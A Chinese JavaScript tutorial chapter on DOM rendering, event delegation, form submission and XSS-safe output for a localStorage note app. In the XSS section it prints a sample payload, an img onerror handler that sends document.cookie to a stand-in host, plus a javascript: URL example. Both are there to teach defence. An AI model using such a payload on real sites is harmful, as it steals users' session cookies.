JS 与页面:DOM 与事件
本合集目录
本章目录
单册说明:本文件是卷 2 的第 5 章,可独立阅读。前置:第 4 章(值、作用域、函数)。本章让页面活起来:把数据渲染成卡片、处理表单提交、用事件委托做标签过滤,并把关键词统计补上。
| 项 | 内容 |
|---|---|
| 所属卷 | 卷 2 · 浏览器三件套(第 5 / 7 章) |
| 前置章节 | 2.4 JS:值、作用域、函数 |
| 本章产出 | 能新增、能列出、能按标签过滤、能统计关键词的完整页面(数据在 localStorage) |
| 对应代码 | code/dudao/index.html(第 5 章版本,<script> 为完整逻辑) |
| 配图 | 无(后续统一制图) |
| 读完的判定 | 不看代码,能说出"点了保存之后,浏览器里依次发生了什么" |
2.5.1 一句话结论:页面是数据的投影,事件是唯一的入口
第 4 章的 render 只是把一段 HTML 字符串打进控制台。现在要把它变成页面上的卡片。
新手在这里最常犯的错,是把"页面"和"数据"当成两个独立的东西,各改各的:新增时一边 push 进数组,一边手动往 DOM 里 append 一个节点。这样写,第一天能跑;等你要加"按标签过滤"时,就发现必须手动把不匹配的节点删掉;再加"编辑",得手动同步两边的每一处。两份真相,必然对不上。
正确的模型只有一句:
数据是唯一的真相。任何改动都只改数据,然后整块重画。
代价是"重画"看起来浪费——每次新增都把整个列表重建一遍。对几十条摘录来说,这个代价小到测不出来,而它换来的是"永远不会出现界面和数据不一致"。先要正确,再要快。 第 8 章讲性能时,你会看到什么时候才需要把"整块重画"优化成"局部更新"。
第二个常见现场:给每个标签按钮都绑一次 addEventListener。今天三个标签,写三行;将来标签从数据里动态生成,新按钮点了没反应——因为绑定发生在按钮存在之前。这类 bug 的症状是"代码明明写了,就是不生效",而成因是时机。
本章把这两件事一次说清:怎么安全地造节点,怎么在正确的时机接住事件。
2.5.2 原理与方法
① DOM 是一棵树,不是你写的那个字符串
浏览器读完 HTML 之后,会在内存里建一棵树。<html> 是根,<body> 是它的子节点,每个元素、每段文字都是节点。
document
└── html
├── head
│ ├── meta
│ └── title
└── body
├── header.site-header
├── main.layout
│ ├── aside.sidebar
│ └── section.content
└── footer.site-footer
document 是这棵树的入口。你在 JS 里做的一切"改页面",本质都是改这棵树——改完之后浏览器重新计算样式、重新排版、重新绘制。这个顺序叫"渲染流程",理解它才能理解"为什么改一百次比改一次慢"。
节点类型有几种,最常用的是元素节点(<div>)、文本节点(一段字)、注释节点。children 只含元素,childNodes 含所有类型——所以数"有几个卡片"要用 children。
② 选元素:querySelector 与 querySelectorAll
const form = document.querySelector('#note-form'); // 第一个匹配
const buttons = document.querySelectorAll('.tag-btn'); // 全部匹配
const cards = document.querySelectorAll('.note-card');
| 方法 | 返回 | 没有匹配时 | 能不能 forEach |
|---|---|---|---|
querySelector |
单个元素或 null |
null |
— |
querySelectorAll |
NodeList(静态快照) |
空 NodeList(长度 0) |
能 |
getElementById |
单个元素或 null |
null |
— |
querySelectorAll 返回的是静态快照:拿到之后,即使页面新增了元素,这个列表也不会变。这一点和第 4 章讲的"引用"看似矛盾,其实一致——它复制的是"当时匹配到的元素地址列表",不是活的对象。
querySelector 返回 null 是最常见的报错来源:
Uncaught TypeError: Cannot read properties of null (reading 'addEventListener')
看到这一行,不要改逻辑,先查两件事:选择器拼对了吗(#note-form 和 .note-form 是两回事)、脚本执行时那个元素存在吗(第 ⑦ 点讲时机)。
③ textContent 与 innerHTML:一个安全,一个危险
title.textContent = note.title; // 当作纯文本,标签不解析
card.innerHTML = note.title; // 当作 HTML,标签会被解析执行
差别不是"性能",是安全。假设用户把标题填成:
<img src="x" onerror="fetch('https://bad.example/steal?c=' + document.cookie)">
用 innerHTML 赋值,这段字符串会被当成标签解析,onerror 执行,页面上的数据就被送走了。这就是 XSS(跨站脚本)。用 textContent 赋值,它就是一串可见的字符,什么都不会发生。
| 维度 | textContent |
innerHTML |
|---|---|---|
| 内容被当作 | 纯文本 | HTML |
| 用户输入安全吗 | 安全 | 不安全,除非先转义 |
| 性能 | 快(不解析) | 慢(要解析、要建树) |
| 什么时候能用 | 几乎所有场景 | 内容完全由你自己写死时 |
规则很简单:只要内容里有一个字节来自用户,就用 textContent。 本章的渲染全部用 createElement + textContent,一行 innerHTML 都不写。
还有第二个 XSS 入口容易被忽略:<a> 的 href。
link.href = note.sourceUrl; // 如果用户填的是 javascript:alert(1)
点击时那段脚本会执行。所以链接地址必须校验协议:
function safeUrl(value) {
if (!value) return '';
try {
const url = new URL(value);
if (url.protocol === 'http:' || url.protocol === 'https:') {
return url.href;
}
return '';
} catch (err) {
return '';
}
}
new URL() 遇到不合法的字符串会抛错,所以包在 try 里;protocol 白名单只放 http: 和 https:,其余(javascript:、data:)一律丢掉。这就是"输入校验"的最小样本:不是拦截坏字符串,而是只放行好字符串。
④ 造节点:createElement + append
const item = document.createElement('li');
item.className = 'note-card';
const title = document.createElement('h3');
title.className = 'note-card-title';
title.textContent = note.title;
item.append(title);
三个细节:
- 用
className而不是class,因为class是 JS 的保留字; append可以一次接多个参数(item.append(title, body, meta)),appendChild只能接一个;append能接字符串(会变成文本节点),appendChild不能。
批量插入时用 DocumentFragment:
const fragment = document.createDocumentFragment();
for (const note of visible) {
fragment.append(createNoteItem(note));
}
list.textContent = '';
list.append(fragment);
DocumentFragment 是一个"不在页面上的容器"。往里塞东西不会触发任何渲染;最后一次 append 到页面,只触发一次。这比在循环里逐个 append 到真实节点快得多——后者会让浏览器重排 N 次。
list.textContent = '' 是清空列表最干净的方式:它把子节点全删掉,且不会像 innerHTML = '' 那样触发 HTML 解析。
⑤ 事件流:从外往里,再从里往外
点击一个卡片里的按钮,事件其实经过了三个阶段:
捕获阶段(从 document 往下)↓
document → body → section → ul → li → button
↑ 目标
冒泡阶段(从 button 往上)↑
button → li → ul → section → body → document
| 阶段 | 方向 | 怎么监听 |
|---|---|---|
| 捕获 | 外 → 内 | addEventListener(type, fn, true) |
| 目标 | 到达元素本身 | 默认 |
| 冒泡 | 内 → 外 | addEventListener(type, fn)(默认) |
绝大多数事件都会冒泡。少数不冒泡的(focus、blur、mouseenter)需要单独处理。addEventListener 的第三个参数默认是 false,也就是"在冒泡阶段处理",这是九成场景需要的。
⑥ 事件委托:一个监听器管住所有子元素
如果侧栏有 30 个标签按钮,给每个都绑一次监听,就有 30 个函数、30 份内存,而且将来动态生成的按钮不会被绑上。
事件冒泡提供了一个更好的方案:把监听器挂在父元素上,用 event.target 判断是谁被点了。
tagListEl.addEventListener('click', (event) => {
const btn = event.target.closest('.tag-btn');
if (!btn) return;
render(btn.dataset.tag);
});
event.target 是真正被点的元素——可能是按钮,也可能是按钮里的某个 span。closest('.tag-btn') 从它开始往上找,找到最近的匹配祖先;找不到返回 null。closest 是事件委托的关键,没有它你会在"点到了子元素"上栽跟头。
| 对比 | 逐个绑定 | 事件委托 |
|---|---|---|
| 监听器数量 | N 个 | 1 个 |
| 新增元素要重新绑 | 要 | 不用 |
| 删除元素要解绑 | 要(否则内存泄漏) | 不用 |
| 适用条件 | 任何情况 | 事件冒泡 + 有共同祖先 |
dataset 读的是 data-* 属性:data-tag="认知" 对应 el.dataset.tag。第 1 章在标签按钮上写 data-tag,就是为了这一刻。把"这条数据属于谁"写在 DOM 属性上,比用索引去数组里捞稳得多。
⑦ 表单提交:preventDefault 与 FormData
<form> 的默认行为是"把数据发到 action 指定的地址,然后整页刷新"。你没写 action,它就提交到当前地址——表现是页面闪一下,所有输入清空,控制台里的数据全没了。
formEl.addEventListener('submit', (event) => {
event.preventDefault(); // 必须第一行
const data = new FormData(formEl);
addNote({
title: data.get('title'),
content: data.get('content'),
sourceUrl: data.get('sourceUrl'),
tags: data.get('tags'),
});
formEl.reset();
render('');
});
三个要点:
preventDefault()要写在最前面,否则后面的报错会让它执行不到,页面照样刷新。new FormData(form)按name属性收集所有字段,所以第 1 章要求每个输入框都写name。它省掉了逐个querySelector取值。- 监听
submit而不是按钮的click。因为用户按回车也能提交表单,submit两种方式都能接住,click只能接住鼠标。
required、type="url" 这些 HTML 校验会先跑,不通过时 submit 事件根本不会触发。所以能用 HTML 校验的,就别用 JS 写。
⑧ 渲染时机:脚本放哪,什么时候能拿到元素
浏览器从上往下解析 HTML。如果 <script> 写在 <head> 里,它执行时 <body> 还没解析,document.querySelector('#note-form') 返回 null。
三种解法:
| 做法 | 写法 | 说明 |
|---|---|---|
脚本放 </body> 前 |
<script src="app.js"></script> 放最后 |
最简单,本书用这个 |
defer |
<script src="app.js" defer></script> |
下载不阻塞,DOM 就绪后按顺序执行 |
| 监听 DOMContentLoaded | document.addEventListener('DOMContentLoaded', init) |
脚本必须在别处时用 |
defer 和 DOMContentLoaded 的区别:defer 的脚本在 DOM 解析完、且在 DOMContentLoaded 触发之前执行。所以用了 defer 就不需要再包一层监听。
放 </body> 前是本书的选择,理由只有一个:零基础的人最容易在这里犯错,而这个做法不需要理解任何额外概念。第 7 章拆文件时会把它改成 defer,因为那时 <script> 会出现在 <head> 里。
2.5.3 动手:渲染、新增、过滤、统计
把 index.html 里第 4 章的整个 <script> 替换成下面这段。HTML 和 CSS 一个字都不用改。
<script>
const STORAGE_KEY = 'dudao.notes.v1';
const noteListEl = document.querySelector('#note-list');
const tagListEl = document.querySelector('#tag-list');
const emptyHintEl = document.querySelector('#empty-hint');
const statsListEl = document.querySelector('#stats-list');
const formEl = document.querySelector('#note-form');
const STOP_WORDS = new Set([
'的', '了', '是', '在', '我', '也', '就', '不', '和', '与', '这', '那',
'你', '他', '她', '它', '们', '有', '会', '要', '把', '被', '而', '但',
'很', '都', '说', '一个', '什么', '自己', '没有', '可以', '因为', '所以',
'如果', '就是', '这个', '那个', '不是', '还是', '然后', '一个',
]);
let notes = [];
let currentTag = '';
function loadNotes() {
const raw = localStorage.getItem(STORAGE_KEY);
if (!raw) return [];
try {
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed : [];
} catch (err) {
console.warn('本地数据解析失败,按空列表处理', err);
return [];
}
}
function saveNotes() {
localStorage.setItem(STORAGE_KEY, JSON.stringify(notes));
}
function splitTags(raw) {
return String(raw || '').split(/\s+/).filter(Boolean);
}
function addNote(input) {
const note = {
id: Date.now(),
title: String(input.title || '').trim(),
content: String(input.content || '').trim(),
sourceUrl: String(input.sourceUrl || '').trim(),
tags: splitTags(input.tags),
createdAt: new Date().toISOString(),
};
notes.push(note);
saveNotes();
return note;
}
function listNotes(tag) {
const all = notes.slice();
if (!tag) return all;
return all.filter((note) => note.tags.includes(tag));
}
function safeUrl(value) {
if (!value) return '';
try {
const url = new URL(value);
if (url.protocol === 'http:' || url.protocol === 'https:') {
return url.href;
}
return '';
} catch (err) {
return '';
}
}
function createNoteItem(note) {
const item = document.createElement('li');
item.className = 'note-card';
const title = document.createElement('h3');
title.className = 'note-card-title';
title.textContent = note.title;
const body = document.createElement('p');
body.className = 'note-card-body';
body.textContent = note.content;
const meta = document.createElement('p');
meta.className = 'note-card-meta';
const href = safeUrl(note.sourceUrl);
if (href) {
const link = document.createElement('a');
link.className = 'note-link';
link.href = href;
link.textContent = '原文';
link.target = '_blank';
link.rel = 'noopener noreferrer';
meta.append(link);
}
const date = document.createElement('span');
date.className = 'note-date';
date.textContent = note.createdAt.slice(0, 10);
meta.append(date);
for (const tag of note.tags) {
const chip = document.createElement('span');
chip.className = 'tag-chip';
chip.textContent = tag;
meta.append(chip);
}
item.append(title, body, meta);
return item;
}
function splitWords(text) {
const words = [];
const cleaned = text.replace(/[^\p{Script=Han}a-zA-Z0-9]+/gu, ' ');
for (const chunk of cleaned.split(/\s+/)) {
if (!chunk) continue;
if (/^[a-zA-Z0-9]+$/.test(chunk)) {
if (chunk.length > 1) words.push(chunk.toLowerCase());
continue;
}
for (let i = 0; i < chunk.length - 1; i += 1) {
words.push(chunk.slice(i, i + 2));
}
}
return words.filter((word) => !STOP_WORDS.has(word));
}
function renderStats() {
const counts = {};
for (const note of notes) {
for (const word of splitWords(`${note.title} ${note.content}`)) {
counts[word] = (counts[word] || 0) + 1;
}
}
const top = Object.entries(counts)
.filter(([, count]) => count >= 2)
.sort((a, b) => b[1] - a[1])
.slice(0, 8);
statsListEl.textContent = '';
if (top.length === 0) {
const tip = document.createElement('li');
tip.className = 'stats-empty';
tip.textContent = '多存几条摘录,这里会出现反复出现的词。';
statsListEl.append(tip);
return;
}
for (const [word, count] of top) {
const item = document.createElement('li');
item.className = 'stats-item';
item.textContent = `${word} × ${count}`;
statsListEl.append(item);
}
}
function renderTagList() {
const tags = [];
for (const note of notes) {
for (const tag of note.tags) {
if (!tags.includes(tag)) tags.push(tag);
}
}
tagListEl.textContent = '';
tagListEl.append(createTagButton('全部', ''));
for (const tag of tags) {
tagListEl.append(createTagButton(tag, tag));
}
}
function createTagButton(label, value) {
const item = document.createElement('li');
const btn = document.createElement('button');
btn.type = 'button';
btn.className = 'tag-btn';
btn.dataset.tag = value;
btn.textContent = label;
item.append(btn);
return item;
}
function render(tag) {
currentTag = tag === undefined ? currentTag : tag;
const visible = listNotes(currentTag);
const fragment = document.createDocumentFragment();
for (const note of visible) {
fragment.append(createNoteItem(note));
}
noteListEl.textContent = '';
noteListEl.append(fragment);
emptyHintEl.hidden = visible.length > 0;
renderTagList();
for (const btn of tagListEl.querySelectorAll('.tag-btn')) {
btn.classList.toggle('is-active', btn.dataset.tag === currentTag);
}
renderStats();
}
tagListEl.addEventListener('click', (event) => {
const btn = event.target.closest('.tag-btn');
if (!btn) return;
render(btn.dataset.tag);
});
formEl.addEventListener('submit', (event) => {
event.preventDefault();
const data = new FormData(formEl);
addNote({
title: data.get('title'),
content: data.get('content'),
sourceUrl: data.get('sourceUrl'),
tags: data.get('tags'),
});
formEl.reset();
render('');
});
notes = loadNotes();
render('');
</script>
保存刷新。第一次打开时列表是空的——第 1 章写死的两张卡片会被 render 清掉,这是预期的,因为现在的真相是 localStorage。
先解释这段代码里两个"顺手做掉"的设计。
标签栏也交给数据了。 renderTagList 把 notes 里出现过的标签收集一遍(用数组 + includes 去重,比 Set 更好懂),再重建整栏按钮。所以你第 1 章手写的"全部/认知/写作"三个按钮,会在第一次 render 时被清掉——从此标签来自数据,不再来自 HTML。你新增一条带"读书"标签的摘录,左边就会多出一个"读书"按钮,不需要改任何 HTML。
这也正是事件委托的价值:按钮是 JS 新造出来的,一个都没绑过监听,但点击照样有效,因为监听器挂在父元素 #tag-list 上。
STOP_WORDS 用了 Set。 Set 是"不重复的集合",has() 判断某个值在不在里面。对四十个词来说,它和数组的性能差别可以忽略;选它只是因为"词表"这个语义和集合更贴。你可以把它换成数组 + includes,结果完全一样。
测试顺序(按这个顺序走,能一次定位问题):
- 表单填一条:标题"注意力是稀缺资源"、正文"把注意力当成预算来花"、标签"认知 写作"。点保存。列表立刻出现一条,输入框清空,左边标签栏同时多出"认知"和"写作"两个按钮。
- 再填一条,标题"先写,再改",正文"初稿的唯一任务是存在",标签"写作"。现在点左边的"写作",只剩两条;点"认知",只剩一条;点"全部",两条都回来。
- 再填一条,标签写"读书"。左边立刻出现"读书"按钮——你没有改过 HTML,它是从数据里长出来的。
- 刷新页面。数据还在,标签栏也还在——
localStorage生效了。 - 现在再存一条和第一条内容相近的摘录。关键词区应该出现"注意""写作"之类的词条,因为达到"出现 2 次"的门槛。
关键词这里要提前说一句它的粗糙之处:splitWords 对中文用的是"每两个字切一刀"的近似办法,所以你会看到"的摘""当成"这种跨词碎片。这是没有分词词典时的妥协,不是 bug。 想要真正切出词,得用词典或统计模型,那是卷 8 的事。现在它至少能把"反复出现的字串"浮上来,够用来验证这条链路是通的。
四个值得亲手验证的细节:
验证 textContent 的安全性。 新增一条,标题填 <b>加粗</b>,保存。你会看到页面上显示的是字面的 <b>加粗</b>,而不是加粗的字。这就是 textContent 在起作用。把它改成 title.innerHTML = note.title,刷新,字就真的加粗了——这个改动就是 XSS 漏洞的入口,改回来。
验证 href 白名单。 在控制台执行:
safeUrl('javascript:alert(1)'); // ""
safeUrl('https://reading.example/a'); // 正常返回完整 URL
safeUrl('随便什么'); // ""
验证事件委托。 在控制台里手动造一个按钮塞进标签栏:
const fake = document.createElement('li');
const btn = document.createElement('button');
btn.className = 'tag-btn';
btn.dataset.tag = '写作';
btn.textContent = '临时';
fake.append(btn);
document.querySelector('#tag-list').append(fake);
这个按钮没有绑过任何监听,但点它能正常过滤。因为它的事件冒泡到了 #tag-list,被那里的监听器接住了。这就是"委托"两个字的含义。
验证 closest 的必要性。 把标签按钮的文字包一层 <span>(改 HTML 即可),再点。如果没有 closest,event.target 会是那个 span,event.target.dataset.tag 是 undefined,过滤就会失效。有 closest 就正常。
2.5.4 三个坑
坑 1:脚本报 Cannot read properties of null (reading 'addEventListener')
症状:页面完全没反应,控制台第一行就是这个错。代码看起来毫无问题。
成因:document.querySelector(...) 返回了 null。两种可能:选择器写错(#note-form 写成 .note-form,或者 id 拼错),或者脚本执行时元素还不存在(<script> 写在了 <head> 里)。
修法:先 console.log(选择器字符串, 元素),看是不是 null。是 null 就查 HTML 里有没有这个 id。如果选择器没错,就是时机问题,把 <script> 移到 </body> 前,或者加 defer。
坑 2:点保存,页面闪一下就白了,数据也没了
症状:表单提交后整页刷新,控制台里的 console.log 只闪一下。
成因:<form> 的默认提交行为。你没写 action,浏览器就提交到当前地址,等于刷新页面。所有 JS 状态清零。
修法:submit 监听器的第一行写 event.preventDefault()。如果已经写了还刷新,检查它是不是被前面的报错挡住了执行——控制台里往上翻,通常有一行更早的红字。
坑 3:用 innerHTML 拼用户输入,页面被注入
症状:某天有个用户存了一条摘录,之后所有打开这个页面的人都弹窗、跳转,或者被悄悄发走了 Cookie。
成因:innerHTML 把字符串当 HTML 解析,用户输入里的 <script>、<img onerror>、<svg onload> 都会执行。这在你自己的电脑上测不出来,因为你自己不会输恶意内容。
修法:所有来自用户或接口的文本,一律用 textContent;需要结构就用 createElement 一层层搭。innerHTML 只用于完全由你写死的模板。这条规矩要一直带到卷 4——React 的 dangerouslySetInnerHTML 之所以叫这个名字,就是因为这个风险是真实存在的。
本章验收
- 能新增一条摘录,列表立刻出现且输入框清空
- 刷新页面后数据还在
- 新增一条带新标签的摘录,标签栏自动多出该标签,点击能正确过滤
- 关键词区在有条目重复出现时显示词与次数
- 标题输入
<b>x</b>显示为字面文本,不是加粗 - 手动插入一个
.tag-btn到标签栏,点击也能过滤(事件委托生效)
自测
Q1:为什么 render 里要先 noteListEl.textContent = '' 再 append(fragment),而不是直接 append?
看答案
因为 `render` 是"整块重画":数据变了就重建全部节点。如果不先清空,每次新增都会在旧列表后面再追加一份,越点越长。用 `textContent = ''` 清空比 `innerHTML = ''` 好在不触发 HTML 解析,也不会有注入风险。另一种写法是 `noteListEl.replaceChildren(fragment)`,一步完成"清空 + 插入",语义更清楚。Q2:事件委托挂在 #tag-list 上,为什么还要写 if (!btn) return?
看答案
因为 `#tag-list` 覆盖的范围比按钮大——它内部的 `li`、`ul` 的空白区域被点到时,事件同样会冒泡上来,但 `closest('.tag-btn')` 返回 `null`。不判断就会执行 `btn.dataset.tag` 并抛出 `TypeError: Cannot read properties of null`。这一行是"守卫",让不相关的事件安静地走开。Q3:如果把 link.href = href 改成 link.setAttribute('href', note.sourceUrl),safeUrl 还有用吗?
看答案
有用,而且更必须有。`setAttribute` 不做任何校验,`javascript:` 协议会原样写进去,点击就执行。`link.href = ...` 只是会做 URL 规范化(比如把相对路径补成绝对路径),同样不会拦 `javascript:`。两种写法都必须先用 `safeUrl` 白名单过滤,只放行 `http:` 和 `https:`。安全来自校验,不来自赋值方式。下一步
页面现在完全靠本地数据活着,刷新不丢,但换台电脑就空了。下一章讲异步:从文件里读一份 JSON,顺便把"为什么 fetch 拿到 404 却不报错"这件事说透。